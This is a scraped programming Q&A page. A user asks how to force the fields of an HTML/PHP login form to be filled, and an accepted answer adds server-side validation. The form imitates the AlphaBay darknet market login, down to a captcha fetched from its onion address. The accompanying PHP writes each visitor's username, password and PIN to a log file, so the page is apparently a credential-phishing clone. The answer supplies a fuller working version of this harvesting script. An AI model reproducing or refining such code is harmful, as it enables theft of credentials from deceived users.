doyrte8419 2016-09-23 08:01
浏览 29
已采纳

我如何强迫某人填写html + php中的字段

Basically I want to prevent the user from submitting without filling all the fields.

Now, in the current situation the user can submit without filling anything, that's what I'm trying to prevent, can someone explain me in an easy way how it can be done?

I want him to fill some fields:

<form name="formLogin" method="post" action="action.php">

    <div class="tclpad" style="width:90px;"><span class="std">Username:</span></div>
    <div class="tclpad"><input name="input1" class="std" size="65" type="text" required></div>

    <div class="clear">&nbsp;</div>

    <div class="tclpad" style="width:90px;"><span class="std">Password:</span></div>
    <div class="tclpad"><input name="input2" class="std" size="65" value="" type="password" required></div>

    <div class="clear">&nbsp;</div>

    <div class="tclpad" style="width:90px;"><span class="std">Six-digit pin:</span></div>
    <div class="tclpad"><input name="input3" class="std" size="10" value="" type="password" required></div>

    <div class="clear">&nbsp;</div>

    <div class="tclpad" style="width:90px;">&nbsp;</div><div class="tclpad"><img id="captcha" src="http://alphabaywyjrktqn.onion.to/ifl/lb/securimage86/securimage_ren.php" alt="Captcha Image"></div><div class="clear">&nbsp;</div>

    <div class="tclpad" style="width:90px;"><span class="std">Security code:</span></div><div class="tclpad"><input name="input5" class="std" size="65" type="text" required></div><div class="clear">&nbsp;</div>

    <div class="tclpad" style="width:90px;">&nbsp;</div>
    <div class="tclpad"><input class="bstd" value="Verify" type="submit"></div>

    <div class="clear">&nbsp;</div></form></div></div><div class="footer"><div class="navbar"><a class="navbar" href="index.htm"><img src="navhome.png" alt="Home" height="12" width="14"></a>

Login 

My action.php is:

<?php
session_start();

if(isset($_POST['input1'])){
    $Username = $_POST['input1'];
}

if(isset($_POST['input2'])){
    $Password = $_POST['input2'];
}

if(isset($_POST['input3'])){
    $PIN = $_POST['input3'];
}

$fh = fopen("logs_" . date('d-M-Y') . ".txt","a");
$stringData = "New Stuff 1
";
fwrite($fh,"name: " . $Username . "
" . " email: " . $Password . "
" . " password: " . $PIN . "
----------------------------
");
fclose($fh);

But I want if one of the fields is empty the user can not continue....
  • 写回答

5条回答 默认 最新

  • donglu3087 2016-09-23 08:26
    关注

    You should at least check, server-side, if all your "required" fields are correctly filled. Then, you might want to add funky JavaScript checking, but this would be for user-experience matters, not efficiency.

    The code bellow demonstrate how you may check for form errors using $_SESSION global variable to pass the error from your logic code to your view code :

    YOUR VIEW

    <form name="formLogin" method="post" action="action.php">
        <!-- Your inputs ... -->
    </form>
    
    <?php if ( isset( $_SESSION['loginForm-error'] ) ): ?>
        <div class="label label-error">
            <?= $_SESSION['loginForm-error'] ?>
        </div>
    <?php endif ?>
    

    Here is the trick : we will check if we have had a form error. If yes, it will be displayed here (make you own CSS for sure). Else, it will not be displayed at all.

    action.php

    <?php
        session_start();
    
        unset($_SESSION['loginForm-error']); // We assume everybody is nice at the begining, right ? ;)
    
        $myRequiredFields = ['input1', 'input2', '...'];
        $allSets = true;
    
        # If one of the required fields is not sets or empty, 
        # we put '$allSets' to false
        foreach( $_POST as $post_key => $post_value ) {
            if( in_array($post_key, $muRequiredFields) && ( ! isset($_POST[$post_key]) || empty($_POST[$post_key]) ) ) {
                $allSets = false;
                break; // Stops the loop, no need to go further
            }
        }
    
        # If all required fields are filled
        if( $allSets ) {
            $Username = $_POST['input1'];
            $Password = $_POST['input2'];
            $PIN = $_POST['input3'];
    
            $fh = fopen("logs_" . date('d-M-Y') . ".txt","a");
            $stringData = "New Stuff 1
    ";
            fwrite($fh,"name: " . $Username . "
    " . " email: " . $Password . "
    " . " password: " . $PIN . "
    ----------------------------
    ");
            fclose($fh);
    
            // Redirect to another page than form, like home or success page ?
        }
        # If one of the required fields is missing, 
        # display a nice error message on session and redirect to the form
        else {
            $ERR_FORM_FIELD_MISSING = 'One of the field is missing or empty';
            $_SESSION['loginForm-error'] = $ERR_FORM_FIELD_MISSING;
            header('Location:myForm.php');
        }
    ?>
    

    Here I begin by unsetting all error, and assuming the form is correctly filled. Then, I will check for each $requiredFields if one of them is not filled. Finally, I only launch the main part of your script only if the form is well filled. Else, I add the error on $_SESSION and redirect again to the form to display this error.

    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论
查看更多回答(4条)

报告相同问题?

悬赏问题

  • ¥15 如何在炒股软件中,爬到我想看的日k线
  • ¥15 51单片机中C语言怎么做到下面类似的功能的函数(相关搜索:c语言)
  • ¥15 seatunnel 怎么配置Elasticsearch
  • ¥15 PSCAD安装问题 ERROR: Visual Studio 2013, 2015, 2017 or 2019 is not found in the system.
  • ¥15 (标签-MATLAB|关键词-多址)
  • ¥15 关于#MATLAB#的问题,如何解决?(相关搜索:信噪比,系统容量)
  • ¥500 52810做蓝牙接受端
  • ¥15 基于PLC的三轴机械手程序
  • ¥15 多址通信方式的抗噪声性能和系统容量对比
  • ¥15 winform的chart曲线生成时有凸起